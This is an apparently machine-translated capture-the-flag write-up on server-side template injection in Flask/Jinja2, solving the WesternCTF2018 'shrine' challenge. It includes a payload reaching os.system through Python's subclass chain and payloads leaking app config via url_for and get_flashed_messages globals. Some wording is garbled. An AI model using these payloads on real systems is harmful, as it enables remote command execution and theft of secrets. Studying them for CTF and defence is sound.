SSTI template injection
Before we never get to know ssti, this simple analysis
Template involves the injection of a server-side Web applications using a template engine rendering process user requests
the server to render the content of user input into a template may cause SSTI (Server-Side Template Injection)
Template rendering acceptable parameters need two braces {{}}
template injection also braces constructed
first look at several methods of python:
method | effect |
---|---|
__class__ | What is the return to the current category |
__bases__ | Returns the current base class |
__subclasses__ | Returns the current subclass of the class |
But also an array index values
so you can call the many ways in many categories, such as his __init__ function
if you want to call os in the template, then you need to look at the overall registration, which is:
.__ Globals __ ( 'os')
after registering you can use os command, and posted an example of SSTI:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
But ssti need to know what is the use template engine, you can refer to this chart:
[WesternCTF2018]shrine
Source:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
First test ssti normal execution path at shrine
/shrine/{{ 1+1 }}
Then analyzes the source code
app.config['FLAG'] = os.environ.pop('FLAG')
Registered a config FLAG called, guess this is the flag, if there is no filter can direct {{config}} to see all app.config content, but this problem set the blacklist [ 'config', 'self'] and filter the brackets
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
Above this line of code to blacklist things through and to empty, for example:
/shrine/{{config}}
But python there are some built-in functions, such url_for
and get_flashed_messages
look at the first
/shrine/{{url_for.__globals__}}
See current_app meaning should be the current app, then we would under the current app config:
/shrine/{{url_for.__globals__['current_app'].config}}
The second is get_flashed_messages
Before returning via flash in the Flask (incoming message list flash). The message string representation of the object is added to a message queue, and () method is taken (taken only once a flash message, after the removal of a flash message is cleared) by calling get_flashed_messages.
Anyway, to return output, empathy:
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}